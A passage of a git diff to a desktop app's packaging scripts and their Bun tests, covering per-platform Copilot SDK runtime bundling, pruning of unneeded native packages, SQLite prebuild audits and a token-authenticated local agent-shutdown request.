=> { - it("copies the Copilot SDK without bundling the large Copilot CLI packages", async () => { - const tempRoot = await mkdtemp(path.join(os.tmpdir(), "after-pack-test-")); - tempRoots.push(tempRoot); - const projectDir = path.join(tempRoot, "project"); - const targetNodeModulesPath = path.join(tempRoot, "target", "node_modules"); +async function pathExists(targetPath: string) { + try { + await stat(targetPath); + return true; + } catch { + return false; + } +} - await writePackage(projectDir, "@github/copilot-sdk", { - dependencies: { - "@github/copilot": "1.0.24", - zod: "4.3.6", - }, - name: "@github/copilot-sdk", - version: "0.2.2", - }); +const COPILOT_SDK_OPTIONAL_DEPENDENCIES = Object.fromEntries( + ["darwin-arm64", "darwin-x64", "linux-x64", "win32-x64"].map((platform) => [ + `@github/copilot-sdk-${platform}`, + "1.0.16", + ]), +); + +async function writeCopilotSdkFixture( + projectDir: string, + runtimePlatforms: string[], +) { + await writePackage(projectDir, "@github/copilot-sdk", { + dependencies: { + koffi: "3.2.1", + "vscode-jsonrpc": "8.2.1", + zod: "4.3.6", + }, + name: "@github/copilot-sdk", + optionalDependencies: COPILOT_SDK_OPTIONAL_DEPENDENCIES, + version: "1.0.16", + }); + // bun nests the SDK's exact zod pin next to it. + await writePackage( + path.join(projectDir, "node_modules", "@github", "copilot-sdk"), + "zod", + { name: "zod", version: "4.3.6" }, + { "index.js": "export const version = '4.3.6';\n" }, + ); + await writePackage( + projectDir, + "zod", + { name: "zod", version: "4.6.5" }, + { "index.js": "export const version = '4.6.5';\n" }, + ); + await writePackage(projectDir, "vscode-jsonrpc", { + name: "vscode-jsonrpc", + version: "8.2.1", + }); + await writePackage(projectDir, "koffi", { + name: "koffi", + optionalDependencies: { "@koromix/koffi-darwin-arm64": "3.2.1" }, + version: "3.2.1", + }); + await writePackage(projectDir, "@koromix/koffi-darwin-arm64", { + name: "@koromix/koffi-darwin-arm64", + version: "3.2.1", + }); + + for (const runtimePlatform of runtimePlatforms) { + const executable = runtimePlatform.startsWith("win32") + ? "copilot-runtime.exe" + : "copilot-runtime"; await writePackage( projectDir, - "@github/copilot", + `@github/copilot-sdk-${runtimePlatform}`, + { name: `@github/copilot-sdk-${runtimePlatform}`, version: "1.0.16" }, { - name: "@github/copilot", - optionalDependencies: { - "@github/copilot-darwin-arm64": "1.0.24", - "@github/copilot-linux-x64": "1.0.24", - }, - version: "1.0.24", + [`prebuilds/${runtimePlatform}/${executable}`]: "runtime", + [`prebuilds/${runtimePlatform}/runtime.node`]: "native", + "builtin/review/SKILL.md": "# Skill\n", }, - { "index.js": "console.log('copilot');\n" }, - ); - await writePackage( - projectDir, - "@github/copilot-darwin-arm64", - { name: "@github/copilot-darwin-arm64", version: "1.0.24" }, - { copilot: "#!/bin/sh\n" }, ); + } +} + +describe("copyPackageWithDependencies", () => { + it("copies the Copilot SDK with only the target platform runtime", async () => { + const tempRoot = await mkdtemp(path.join(os.tmpdir(), "after-pack-test-")); + tempRoots.push(tempRoot); + const projectDir = path.join(tempRoot, "project"); + const targetNodeModulesPath = path.join(tempRoot, "target", "node_modules"); + + await writeCopilotSdkFixture(projectDir, ["darwin-arm64", "linux-x64"]); await writePackage( - projectDir, - "@github/copilot-linux-x64", - { name: "@github/copilot-linux-x64", version: "1.0.24" }, - { copilot: "#!/bin/sh\n" }, + path.join(tempRoot, "target"), + "zod", + { name: "zod", version: "4.6.5" }, + { "index.js": "export const version = 'server';\n" }, ); - await writePackage(projectDir, "zod", { - name: "zod", - version: "4.3.6", - }); await copyPackageWithDependencies( projectDir, targetNodeModulesPath, "@github/copilot-sdk", + new Set(), + // electron-builder's Arch enum: 3 is arm64. + { target: { arch: 3, platform: "darwin" } }, ); + const runtimeRoot = path.join( + targetNodeModulesPath, + "@github", + "copilot-sdk-darwin-arm64", + ); + expect( + await readFile( + path.join(runtimeRoot, "prebuilds", "darwin-arm64", "runtime.node"), + "utf8", + ), + ).toBe("native"); + // Runtime assets keep files the server prune step would strip. + expect( + await pathExists(path.join(runtimeRoot, "builtin", "review", "SKILL.md")), + ).toBe(true); + expect( + await pathExists( + path.join(targetNodeModulesPath, "vscode-jsonrpc", "package.json"), + ), + ).toBe(true); + // The nested zod pin travels with the SDK; the server's zod is untouched. expect( await readFile( path.join( targetNodeModulesPath, "@github", "copilot-sdk", - "package.json", + "node_modules", + "zod", + "index.js", ), "utf8", ), - ).toContain("@github/copilot-sdk"); + ).toContain("4.3.6"); expect( await readFile( path.join(targetNodeModulesPath, "zod", "index.js"), "utf8", ), - ).toContain("export"); + ).toContain("server"); + + for (const absentPackage of [ + ["@github", "copilot-sdk-linux-x64"], + ["koffi"], + ["@koromix", "koffi-darwin-arm64"], + ]) { + expect( + await pathExists(path.join(targetNodeModulesPath, ...absentPackage)), + ).toBe(false); + } + }); + + it("warns instead of failing when a cross-target runtime is not installed", async () => { + const tempRoot = await mkdtemp(path.join(os.tmpdir(), "after-pack-test-")); + tempRoots.push(tempRoot); + const projectDir = path.join(tempRoot, "project"); + const targetNodeModulesPath = path.join(tempRoot, "target", "node_modules"); + await writeCopilotSdkFixture(projectDir, []); + + const crossTarget = + process.platform === "win32" + ? { arch: "x64", platform: "linux" } + : { arch: "x64", platform: "win32" }; + const warn = spyOn(console, "warn").mockImplementation(() => {}); + try { + await copyPackageWithDependencies( + projectDir, + targetNodeModulesPath, + "@github/copilot-sdk", + new Set(), + { target: crossTarget }, + ); + expect(warn).toHaveBeenCalledWith( + expect.stringContaining( + `@github/copilot-sdk-${crossTarget.platform}-x64 is not installed`, + ), + ); + } finally { + warn.mockRestore(); + } await expect( - readFile( - path.join(targetNodeModulesPath, "@github", "copilot", "index.js"), - "utf8", + copyPackageWithDependencies( + projectDir, + path.join(tempRoot, "host-target", "node_modules"), + "@github/copilot-sdk", + new Set(), + { target: { arch: process.arch, platform: process.platform } }, + ), + ).rejects.toThrow(/is not installed/); + }); + + it("fails for targets the Copilot SDK publishes no runtime for", async () => { + const tempRoot = await mkdtemp(path.join(os.tmpdir(), "after-pack-test-")); + tempRoots.push(tempRoot); + const projectDir = path.join(tempRoot, "project"); + await writeCopilotSdkFixture(projectDir, ["darwin-arm64"]); + + await expect( + copyPackageWithDependencies( + projectDir, + path.join(tempRoot, "target", "node_modules"), + "@github/copilot-sdk", + new Set(), + // electron-builder's Arch enum: 4 is universal. + { target: { arch: 4, platform: "darwin" } }, + ), + ).rejects.toThrow(/ships no runtime for darwin-4/); + }); +}); + +describe("prunePackagedServerPackages", () => { + it("removes other targets' Copilot runtimes and koffi, including nested copies", async () => { + const tempRoot = await mkdtemp(path.join(os.tmpdir(), "after-pack-test-")); + tempRoots.push(tempRoot); + const serverRoot = path.join(tempRoot, "server"); + const nodeModulesPath = path.join(serverRoot, "node_modules"); + + for (const packageName of [ + "@github/copilot-sdk", + "@github/copilot-sdk-linux-x64", + "@github/copilot-sdk-linux-arm64", + "@koromix/koffi-linux-x64", + "koffi", + "zod", + ]) { + await writePackage(serverRoot, packageName, { + name: packageName, + version: "1.0.0", + }); + } + await writePackage( + path.join(nodeModulesPath, "@github", "copilot-sdk"), + "koffi", + { name: "koffi", version: "3.2.1" }, + ); + + await prunePackagedServerPackages({ + nodeModulesPath, + target: { arch: 1, platform: "linux" }, + }); + + expect( + await pathExists( + path.join(nodeModulesPath, "@github", "copilot-sdk-linux-x64"), ), - ).rejects.toThrow(); + ).toBe(true); + expect(await pathExists(path.join(nodeModulesPath, "zod"))).toBe(true); + for (const prunedPath of [ + ["@github", "copilot-sdk-linux-arm64"], + ["@koromix", "koffi-linux-x64"], + ["koffi"], + ["@github", "copilot-sdk", "node_modules", "koffi"], + ]) { + expect(await pathExists(path.join(nodeModulesPath, ...prunedPath))).toBe( + false, + ); + } }); }); diff --git a/scripts/desktop/agent-shutdown.mjs b/scripts/desktop/agent-shutdown.mjs new file mode 100644 index 00000000..eb7b3f69 --- /dev/null +++ b/scripts/desktop/agent-shutdown.mjs @@ -0,0 +1,44 @@ +import { randomBytes } from "node:crypto"; + +// The local server's /api/internal/* routes answer only Electron main, which +// passes the server a per-launch secret (src/server/http/internal-token.ts). +export const INTERNAL_TOKEN_ENV_KEY = "SENTINEL_INTERNAL_TOKEN"; +export const INTERNAL_TOKEN_HEADER = "x-sentinel-internal-token"; +const AGENT_SHUTDOWN_TIMEOUT_MS = 2_500; + +export function createInternalToken() { + return randomBytes(32).toString("hex"); +} + +/** + * Asks the server to end the agent processes it started (SIGTERM, then + * SIGKILL for stragglers) before it is stopped: once the server is gone its + * detached agents would be orphaned. Best effort and bounded; resolves + * whether or not the server answered. + * + * @param {{ internalToken?: string | null; url?: string | null } | null | undefined} serverState + * @param {{ fetchImpl?: (url: URL, init: RequestInit) => Promise; timeoutMs?: number }} [options] + * @returns {Promise} + */ +export async function requestAgentShutdown( + serverState, + { fetchImpl = fetch, timeoutMs = AGENT_SHUTDOWN_TIMEOUT_MS } = {}, +) { + if (!serverState?.internalToken || !serverState.url) { + return false; + } + + try { + const response = await fetchImpl( + new URL("/api/internal/shutdown-agents", serverState.url), + { + headers: { [INTERNAL_TOKEN_HEADER]: serverState.internalToken }, + method: "POST", + signal: AbortSignal.timeout(timeoutMs), + }, + ); + return response.ok; + } catch { + return false; + } +} diff --git a/scripts/desktop/agent-shutdown.test.ts b/scripts/desktop/agent-shutdown.test.ts new file mode 100644 index 00000000..8e777b68 --- /dev/null +++ b/scripts/desktop/agent-shutdown.test.ts @@ -0,0 +1,75 @@ +import { describe, expect, it, mock } from "bun:test"; + +import { + createInternalToken, + INTERNAL_TOKEN_HEADER, + requestAgentShutdown, +} from "./agent-shutdown.mjs"; + +describe("requestAgentShutdown", () => { + it("asks the server to end its agents with the launch token", async () => { + const fetchImpl = mock( + async (_url: URL, _init: RequestInit) => new Response("{}"), + ); + + expect( + await requestAgentShutdown( + { internalToken: "t".repeat(64), url: "http://localhost:3232" }, + { fetchImpl }, + ), + ).toBe(true); + + const [url, init] = fetchImpl.mock.calls[0]!; + expect(String(url)).toBe( + "http://localhost:3232/api/internal/shutdown-agents", + ); + expect(init.method).toBe("POST"); + expect(init.headers).toEqual({ [INTERNAL_TOKEN_HEADER]: "t".repeat(64) }); + expect(init.signal).toBeInstanceOf(AbortSignal); + }); + + it("never throws and skips servers it did not start", async () => { + const failing = mock(async () => { + throw new Error("ECONNREFUSED"); + }); + + expect( + await requestAgentShutdown( + { internalToken: "t".repeat(64), url: "http://localhost:3232" }, + { fetchImpl: failing }, + ), + ).toBe(false); + expect( + await requestAgentShutdown( + { url: "http://localhost:3000" }, + { fetchImpl: failing }, + ), + ).toBe(false); + expect(await requestAgentShutdown(null)).toBe(false); + expect(failing).toHaveBeenCalledTimes(1); + }); + + it("gives up after the timeout", async () => { + const hanging = mock( + (_url: URL, init: RequestInit) => + new Promise((_resolve, reject) => { + init.signal?.addEventListener("abort", () => + reject(new Error("aborted")), + ); + }), + ); + + expect( + await requestAgentShutdown( + { internalToken: "t".repeat(64), url: "http://localhost:3232" }, + { fetchImpl: hanging, timeoutMs: 10 }, + ), + ).toBe(false); + }); + + it("creates a 64-character hex token per launch", () => { + const token = createInternalToken(); + expect(token).toMatch(/^[0-9a-f]{64}$/); + expect(createInternalToken()).not.toBe(token); + }); +}); diff --git a/scripts/desktop/audit-bundle-utils.mjs b/scripts/desktop/audit-bundle-utils.mjs index b1bdc470..8ea532a8 100644 --- a/scripts/desktop/audit-bundle-utils.mjs +++ b/scripts/desktop/audit-bundle-utils.mjs @@ -32,3 +32,110 @@ export function findMissingServerRuntimeFiles({ return !normalizedServerFiles.has(relativePath); }); } + +const BETTER_SQLITE3_ROOT = "node_modules/better-sqlite3/"; +const BETTER_SQLITE3_BUILD_INPUT = /^(?:binding\.gyp$|(?:build|deps|src)\/)/; + +/** + * electron-builder names unpacked bundles `[-][-unpacked]`, + * leaving the arch out for x64. + * + * @param {string} bundleDirectoryName + */ +export function inferBundleArch(bundleDirectoryName) { + if (bundleDirectoryName.includes("arm64")) return "arm64"; + if (bundleDirectoryName.includes("universal")) return "universal"; + return "x64"; +} + +/** + * better-sqlite3 13+ loads `prebuilds/-.node`, so the packaged + * server must ship the target prebuild and none of the source build inputs. + * + * @param {{ + * arch: string; + * platform: NodeJS.Platform; + * serverFiles: string[]; + * serverPath: string; + * }} input + */ +export function findBetterSqlite3RuntimeIssues({ + arch, + platform, + serverFiles, + serverPath, +}) { + const moduleFiles = serverFiles + .map((filePath) => + normalizePathForMatch(path.relative(serverPath, filePath)), + ) + .filter((relativePath) => relativePath.startsWith(BETTER_SQLITE3_ROOT)) + .map((relativePath) => relativePath.slice(BETTER_SQLITE3_ROOT.length)); + const prebuilds = moduleFiles.filter((filePath) => + filePath.startsWith("prebuilds/"), + ); + const expectedPrebuild = + arch === "universal" ? null : `prebuilds/${platform}-${arch}.node`; + const issues = []; + + if (!moduleFiles.includes("lib/index.js")) { + issues.push(`missing ${BETTER_SQLITE3_ROOT}lib/index.js`); + } + + if (expectedPrebuild && !prebuilds.includes(expectedPrebuild)) { + issues.push(`missing ${BETTER_SQLITE3_ROOT}${expectedPrebuild}`); + } + + const unexpectedPrebuilds = prebuilds.filter((filePath) => + expectedPrebuild + ? filePath !== expectedPrebuild + : !filePath.startsWith(`prebuilds/${platform}-`), + ); + const buildInputs = moduleFiles.filter((filePath) => + BETTER_SQLITE3_BUILD_INPUT.test(filePath), + ); + + for (const filePath of [...unexpectedPrebuilds, ...buildInputs]) { + issues.push(`unexpected ${BETTER_SQLITE3_ROOT}${filePath}`); + } + + return issues; +} + +/** + * sqlite-vec resolves `sqlite-vec--/vec0.` at runtime, which + * Next's output tracing does not copy on its own. + * + * @param {{ + * arch: string; + * platform: NodeJS.Platform; + * serverFiles: string[]; + * serverPath: string; + * }} input + */ +export function findSqliteVecRuntimeIssues({ + arch, + platform, + serverFiles, + serverPath, +}) { + const relativeFiles = new Set( + serverFiles.map((filePath) => + normalizePathForMatch(path.relative(serverPath, filePath)), + ), + ); + + if ( + arch === "universal" || + !relativeFiles.has("node_modules/sqlite-vec/package.json") + ) { + return []; + } + + const os = platform === "win32" ? "windows" : platform; + const extension = + platform === "win32" ? "dll" : platform === "darwin" ? "dylib" : "so"; + const loadablePath = `node_modules/sqlite-vec-${os}-${arch}/vec0.${extension}`; + + return relativeFiles.has(loadablePath) ? [] : [`missing ${loadablePath}`]; +} diff --git a/scripts/desktop/audit-bundle-utils.test.ts b/scripts/desktop/audit-bundle-utils.test.ts index 5dc50490..dd835880 100644 --- a/scripts/desktop/audit-bundle-utils.test.ts +++ b/scripts/desktop/audit-bundle-utils.test.ts @@ -2,14 +2,23 @@ import { describe, expect, it } from "bun:test"; import path from "node:path"; import { createRequire } from "node:module"; -import { findMissingServerRuntimeFiles } from "./audit-bundle-utils.mjs"; +import { + findBetterSqlite3RuntimeIssues, + findMissingServerRuntimeFiles, + findSqliteVecRuntimeIssues, + inferBundleArch, +} from "./audit-bundle-utils.mjs"; const require = createRequire(import.meta.url); -const { getExpectedPackagedCopilotFiles } = +type CopilotTarget = { arch: number | string; platform: string }; +const { findUnexpectedPackagedCopilotFiles, getExpectedPackagedCopilotFiles } = require("./copilot-runtime-packaging.cjs") as { - getExpectedPackagedCopilotFiles: (options: { - serverNodeModulesPath: string; - }) => string[]; + findUnexpectedPackagedCopilotFiles: ( + options: CopilotTarget & { serverFiles: string[]; serverPath: string }, + ) => string[]; + getExpectedPackagedCopilotFiles: ( + options: CopilotTarget & { serverNodeModulesPath: string }, + ) => string[]; }; describe("findMissingServerRuntimeFiles", () => { @@ -17,6 +26,8 @@ describe("findMissingServerRuntimeFiles", () => { const serverPath = "/tmp/Sentinel.app/Contents/Resources/server"; const serverNodeModulesPath = path.join(serverPath, "node_modules"); const requiredFiles = getExpectedPackagedCopilotFiles({ + arch: "arm64", + platform: "darwin", serverNodeModulesPath, }); @@ -26,6 +37,11 @@ describe("findMissingServerRuntimeFiles", () => { serverPath, }); + const runtimeRoot = path.join( + serverNodeModulesPath, + "@github", + "copilot-sdk-darwin-arm64", + ); expect(missingFiles).toEqual([ path.join( serverNodeModulesPath, @@ -33,21 +49,222 @@ describe("findMissingServerRuntimeFiles", () => { "copilot-sdk", "package.json", ), + path.join(runtimeRoot, "package.json"), + path.join(runtimeRoot, "prebuilds", "darwin-arm64", "copilot-runtime"), + path.join(runtimeRoot, "prebuilds", "darwin-arm64", "runtime.node"), ]); }); it("returns an empty list when all Copilot runtime files are present", () => { - const serverPath = "/tmp/Sentinel.app/Contents/Resources/server"; + const serverPath = "C:/Sentinel/resources/server"; const requiredFiles = getExpectedPackagedCopilotFiles({ + arch: "x64", + platform: "win32", serverNodeModulesPath: path.join(serverPath, "node_modules"), }); - const missingFiles = findMissingServerRuntimeFiles({ - requiredFiles, - serverFiles: requiredFiles, - serverPath, - }); + expect( + requiredFiles.some((filePath) => + filePath.endsWith( + path.join("prebuilds", "win32-x64", "copilot-runtime.exe"), + ), + ), + ).toBe(true); + expect( + findMissingServerRuntimeFiles({ + requiredFiles, + serverFiles: requiredFiles, + serverPath, + }), + ).toEqual([]); + }); +}); + +describe("findUnexpectedPackagedCopilotFiles", () => { + const serverPath = "/tmp/Sentinel.app/Contents/Resources/server"; + const nodeModulesPath = path.join(serverPath, "node_modules"); + + it("reports other targets' runtimes and koffi once per package", () => { + expect( + findUnexpectedPackagedCopilotFiles({ + arch: "arm64", + platform: "darwin", + serverFiles: [ + path.join(nodeModulesPath, "@github", "copilot-sdk", "package.json"), + path.join( + nodeModulesPath, + "@github", + "copilot-sdk-darwin-arm64", + "package.json", + ), + path.join( + nodeModulesPath, + "@github", + "copilot-sdk-darwin-x64", + "package.json", + ), + path.join( + nodeModulesPath, + "@github", + "copilot-sdk-darwin-x64", + "prebuilds", + "darwin-x64", + "runtime.node", + ), + path.join(nodeModulesPath, "koffi", "index.js"), + path.join( + nodeModulesPath, + "@koromix", + "koffi-darwin-arm64", + "package.json", + ), + path.join( + nodeModulesPath, + "@github", + "copilot-sdk", + "node_modules", + "zod", + "package.json", + ), + ], + serverPath, + }), + ).toEqual([ + "node_modules/@github/copilot-sdk-darwin-x64", + "node_modules/@koromix/koffi-darwin-arm64", + "node_modules/koffi", + ]); + }); + + it("accepts a server that ships only the target runtime", () => { + expect( + findUnexpectedPackagedCopilotFiles({ + arch: "x64", + platform: "linux", + serverFiles: getExpectedPackagedCopilotFiles({ + arch: "x64", + platform: "linux", + serverNodeModulesPath: nodeModulesPath, + }), + serverPath, + }), + ).toEqual([]); + }); +}); + +describe("inferBundleArch", () => { + it("reads the arch from electron-builder output directory names", () => { + expect(inferBundleArch("mac-arm64")).toBe("arm64"); + expect(inferBundleArch("mac")).toBe("x64"); + expect(inferBundleArch("linux-arm64-unpacked")).toBe("arm64"); + expect(inferBundleArch("linux-unpacked")).toBe("x64"); + expect(inferBundleArch("win-unpacked")).toBe("x64"); + expect(inferBundleArch("mac-universal")).toBe("universal"); + }); +}); + +describe("findBetterSqlite3RuntimeIssues", () => { + const serverPath = "/tmp/Sentinel.app/Contents/Resources/server"; + const moduleRoot = path.join(serverPath, "node_modules", "better-sqlite3"); + + it("accepts a runtime that only ships the target prebuild", () => { + expect( + findBetterSqlite3RuntimeIssues({ + arch: "arm64", + platform: "darwin", + serverFiles: [ + path.join(moduleRoot, "lib", "index.js"), + path.join(moduleRoot, "package.json"), + path.join(moduleRoot, "prebuilds", "darwin-arm64.node"), + ], + serverPath, + }), + ).toEqual([]); + }); + + it("reports a missing target prebuild, other targets and build inputs", () => { + expect( + findBetterSqlite3RuntimeIssues({ + arch: "x64", + platform: "linux", + serverFiles: [ + path.join(moduleRoot, "binding.gyp"), + path.join(moduleRoot, "build", "Release", "better_sqlite3.node"), + path.join(moduleRoot, "deps", "sqlite3", "sqlite3.c"), + path.join(moduleRoot, "lib", "index.js"), + path.join(moduleRoot, "prebuilds", "darwin-arm64.node"), + ], + serverPath, + }), + ).toEqual([ + "missing node_modules/better-sqlite3/prebuilds/linux-x64.node", + "unexpected node_modules/better-sqlite3/prebuilds/darwin-arm64.node", + "unexpected node_modules/better-sqlite3/binding.gyp", + "unexpected node_modules/better-sqlite3/build/Release/better_sqlite3.node", + "unexpected node_modules/better-sqlite3/deps/sqlite3/sqlite3.c", + ]); + }); + + it("reports a packaged server without better-sqlite3", () => { + expect( + findBetterSqlite3RuntimeIssues({ + arch: "x64", + platform: "win32", + serverFiles: [], + serverPath, + }), + ).toEqual([ + "missing node_modules/better-sqlite3/lib/index.js", + "missing node_modules/better-sqlite3/prebuilds/win32-x64.node", + ]); + }); +}); + +describe("findSqliteVecRuntimeIssues", () => { + const serverPath = "/tmp/Sentinel.app/Contents/Resources/server"; + const sqliteVecPackage = path.join( + serverPath, + "node_modules", + "sqlite-vec", + "package.json", + ); + + it("requires the target platform extension next to sqlite-vec", () => { + expect( + findSqliteVecRuntimeIssues({ + arch: "arm64", + platform: "darwin", + serverFiles: [sqliteVecPackage], + serverPath, + }), + ).toEqual(["missing node_modules/sqlite-vec-darwin-arm64/vec0.dylib"]); + + expect( + findSqliteVecRuntimeIssues({ + arch: "x64", + platform: "win32", + serverFiles: [ + sqliteVecPackage, + path.join( + serverPath, + "node_modules", + "sqlite-vec-windows-x64", + "vec0.dll", + ), + ], + serverPath, + }), + ).toEqual([]); + }); - expect(missingFiles).toEqual([]); + it("ignores servers that do not package sqlite-vec", () => { + expect( + findSqliteVecRuntimeIssues({ + arch: "x64", + platform: "linux", + serverFiles: [], + serverPath, + }), + ).toEqual([]); }); }); diff --git a/scripts/desktop/audit-bundle.mjs b/scripts/desktop/audit-bundle.mjs index ddf4bb14..9331e9f4 100644 --- a/scripts/desktop/audit-bundle.mjs +++ b/scripts/desktop/audit-bundle.mjs @@ -2,17 +2,32 @@ import { createRequire } from "node:module"; import { execFileSync } from "node:child_process"; import { access, readdir, stat } from "node:fs/promises"; import path from "node:path"; -import { findMissingServerRuntimeFiles } from "./audit-bundle-utils.mjs"; +import { + findBetterSqlite3RuntimeIssues, + findMissingServerRuntimeFiles, + findSqliteVecRuntimeIssues, + inferBundleArch, +} from "./audit-bundle-utils.mjs"; +import { findExcludedServerPackages } from "./excluded-server-packages.mjs"; +import { SERVER_EXTERNAL_PACKAGES } from "./server-external-packages.mjs"; +import { UNTRACED_SERVER_PACKAGES } from "./untraced-server-packages.mjs"; +import { + findMacUpdateFeedIssues, + readAppMinimumSystemVersion, + readMacUpdateFeeds, +} from "./update-feed.mjs"; const require = createRequire(import.meta.url); const { listPackage } = require("@electron/asar"); const { + findUnexpectedPackagedCopilotFiles, getExpectedPackagedCopilotFiles, } = require("./copilot-runtime-packaging.cjs"); const projectRoot = process.cwd(); const distRoot = path.join(projectRoot, "dist"); const ALLOWED_ASAR_TOP_LEVEL = new Set(["desktop", "package.json", "scripts"]); +const NODE_PLATFORMS = { linux: "linux", mac: "darwin", win: "win32" }; const UNPACKED_DENYLIST = [ "/node_modules/@img/sharp-", "/node_modules/@next/swc", @@ -321,19 +336,113 @@ for (const unpackedAppPath of unpackedAppPaths) { ); } - const missingCopilotRuntimeFiles = findMissingServerRuntimeFiles({ - requiredFiles: getExpectedPackagedCopilotFiles({ - serverNodeModulesPath: path.join(serverPath, "node_modules"), - }), + const nativeRuntimeTarget = { + arch: inferBundleArch( + path.basename( + platform === "mac" ? path.dirname(unpackedAppPath) : unpackedAppPath, + ), + ), + platform: NODE_PLATFORMS[platform], + serverFiles, + serverPath, + }; + + try { + const missingCopilotRuntimeFiles = findMissingServerRuntimeFiles({ + requiredFiles: getExpectedPackagedCopilotFiles({ + arch: nativeRuntimeTarget.arch, + platform: nativeRuntimeTarget.platform, + serverNodeModulesPath: path.join(serverPath, "node_modules"), + }), + serverFiles, + serverPath, + }); + + if (missingCopilotRuntimeFiles.length > 0) { + failures.push( + `${unpackedAppPath}: packaged server is missing Copilot runtime files:\n${missingCopilotRuntimeFiles.join("\n")}`, + ); + } + + const unexpectedCopilotRuntimePackages = + findUnexpectedPackagedCopilotFiles(nativeRuntimeTarget); + + if (unexpectedCopilotRuntimePackages.length > 0) { + failures.push( + `${unpackedAppPath}: packaged server ships Copilot runtime packages for other targets:\n${unexpectedCopilotRuntimePackages.join("\n")}`, + ); + } + } catch (error) { + // A universal bundle has no single Copilot runtime platform. + failures.push( + `${unpackedAppPath}: ${error instanceof Error ? error.message : String(error)}`, + ); + } + + const missingUntracedRuntimeFiles = findMissingServerRuntimeFiles({ + requiredFiles: UNTRACED_SERVER_PACKAGES.map((packageName) => + path.join(serverPath, "node_modules", packageName, "package.json"), + ), + serverFiles, + serverPath, + }); + + if (missingUntracedRuntimeFiles.length > 0) { + failures.push( + `${unpackedAppPath}: packaged server is missing untraced runtime packages:\n${missingUntracedRuntimeFiles.join("\n")}`, + ); + } + + const missingExternalRuntimeFiles = findMissingServerRuntimeFiles({ + requiredFiles: SERVER_EXTERNAL_PACKAGES.map((packageName) => + path.join(serverPath, "node_modules", packageName, "package.json"), + ), + serverFiles, + serverPath, + }); + + if (missingExternalRuntimeFiles.length > 0) { + failures.push( + `${unpackedAppPath}: packaged server is missing serverExternalPackages:\n${missingExternalRuntimeFiles.join("\n")}`, + ); + } + + const excludedServerPackages = findExcludedServerPackages({ serverFiles, serverPath, }); - if (missingCopilotRuntimeFiles.length > 0) { + if (excludedServerPackages.length > 0) { failures.push( - `${unpackedAppPath}: packaged server is missing Copilot runtime files:\n${missingCopilotRuntimeFiles.join("\n")}`, + `${unpackedAppPath}: packaged server ships packages that must stay out of the bundle (Claude Agent SDK native CLIs; Sentinel uses the user's claude):\n${excludedServerPackages.join("\n")}`, ); } + + const nativeRuntimeIssues = [ + ...findBetterSqlite3RuntimeIssues(nativeRuntimeTarget), + ...findSqliteVecRuntimeIssues(nativeRuntimeTarget), + ]; + + if (nativeRuntimeIssues.length > 0) { + failures.push( + `${unpackedAppPath}: packaged server native SQLite runtime is wrong:\n${nativeRuntimeIssues.join("\n")}`, + ); + } + + if (platform === "mac") { + const macosVersion = await readAppMinimumSystemVersion(unpackedAppPath); + const updateFeedIssues = findMacUpdateFeedIssues({ + feeds: await readMacUpdateFeeds(distRoot), + macosVersion, + }); + console.log(` ${"minimum macOS".padEnd(18)} ${macosVersion}`); + + if (updateFeedIssues.length > 0) { + failures.push( + `${unpackedAppPath}: update feed would offer this build below its macOS floor:\n${updateFeedIssues.join("\n")}`, + ); + } + } } for (const installerPath of installerPaths) { diff --git a/scripts/desktop/copilot-runtime-packaging.cjs b/scripts/desktop/copilot-runtime-packaging.cjs index 02279453..5255b2fc 100644 --- a/scripts/desktop/copilot-runtime-packaging.cjs +++ b/scripts/desktop/copilot-runtime-packaging.cjs @@ -3,7 +3,21 @@ const path = require("node:path"); const COPILOT_SDK_PACKAGE = "@github/copilot-sdk"; -const COPILOT_BUNDLED_CLI_PACKAGE = "@github/copilot"; +const COPILOT_RUNTIME_PACKAGE_PREFIX = "@github/copilot-sdk-"; + +// koffi (with its @koromix/koffi- binaries) backs only the SDK's +// experimental RuntimeConnection.forInProcess() transport, which the SDK +// imports lazily. Sentinel spawns the runtime over stdio, so the packaged +// server leaves koffi out. +const COPILOT_SDK_IN_PROCESS_ONLY_DEPENDENCIES = new Set(["koffi"]); +const PRUNED_SERVER_PACKAGE_PREFIXES = ["@koromix/koffi-"]; + +// electron-builder passes its Arch enum (builder-util), where x64 is 1 and +// arm64 is 3. The SDK publishes x64 and arm64 runtimes only. +const ELECTRON_BUILDER_ARCHS = new Map([ + [1, "x64"], + [3, "arm64"], +]); /** * @returns {string[]} @@ -13,40 +27,195 @@ function getRequiredServerRuntimePackages() { } /** + * @param {number | string} arch + */ +function normalizeTargetArch(arch) { + if (typeof arch === "number") { + return ELECTRON_BUILDER_ARCHS.get(arch) ?? null; + } + + return arch === "x64" || arch === "arm64" ? arch : null; +} + +/** + * The runtime platform the packaged app needs, named like the SDK's + * `@github/copilot-sdk-` packages. Electron only ships glibc Linux + * builds, so Linux never maps to the linuxmusl runtimes. + * + * @param {{ arch: number | string; platform: string }} target + */ +function getCopilotRuntimePlatform({ arch, platform }) { + const normalizedArch = normalizeTargetArch(arch); + const normalizedPlatform = + platform === "mas" || platform === "mac" ? "darwin" : platform; + + if ( + !normalizedArch || + !["darwin", "linux", "win32"].includes(normalizedPlatform) + ) { + throw new Error( + `The Copilot SDK ships no runtime for ${platform}-${arch}; desktop builds support x64 and arm64 on macOS, Windows and Linux.`, + ); + } + + return `${normalizedPlatform}-${normalizedArch}`; +} + +/** + * @param {{ arch: number | string; platform: string }} target + */ +function getCopilotRuntimePackageName(target) { + return `${COPILOT_RUNTIME_PACKAGE_PREFIX}${getCopilotRuntimePlatform(target)}`; +} + +/** + * @param {string} packageName + */ +function isCopilotRuntimePackage(packageName) { + return packageName.startsWith(COPILOT_RUNTIME_PACKAGE_PREFIX); +} + +/** + * Dependencies to copy next to a package. For the Copilot SDK this keeps the + * target platform's runtime package and drops the other platforms' runtimes + * and the in-process-only koffi. + * * @param {{ * packageJson: { * dependencies?: Record; * optionalDependencies?: Record; * }; * packageName: string; + * target: { arch: number | string; platform: string }; * }} options */ -function getDependencyNamesForPackage({ packageJson, packageName }) { +function getDependencyNamesForPackage({ packageJson, packageName, target }) { const dependencyNames = [ ...Object.keys(packageJson.dependencies ?? {}), ...Object.keys(packageJson.optionalDependencies ?? {}), ]; - if (packageName === COPILOT_SDK_PACKAGE) { - return dependencyNames.filter( - (dependencyName) => dependencyName !== COPILOT_BUNDLED_CLI_PACKAGE, - ); + if (packageName !== COPILOT_SDK_PACKAGE) { + return dependencyNames; } - return dependencyNames; + const runtimePackageName = getCopilotRuntimePackageName(target); + return dependencyNames.filter( + (dependencyName) => + !COPILOT_SDK_IN_PROCESS_ONLY_DEPENDENCIES.has(dependencyName) && + 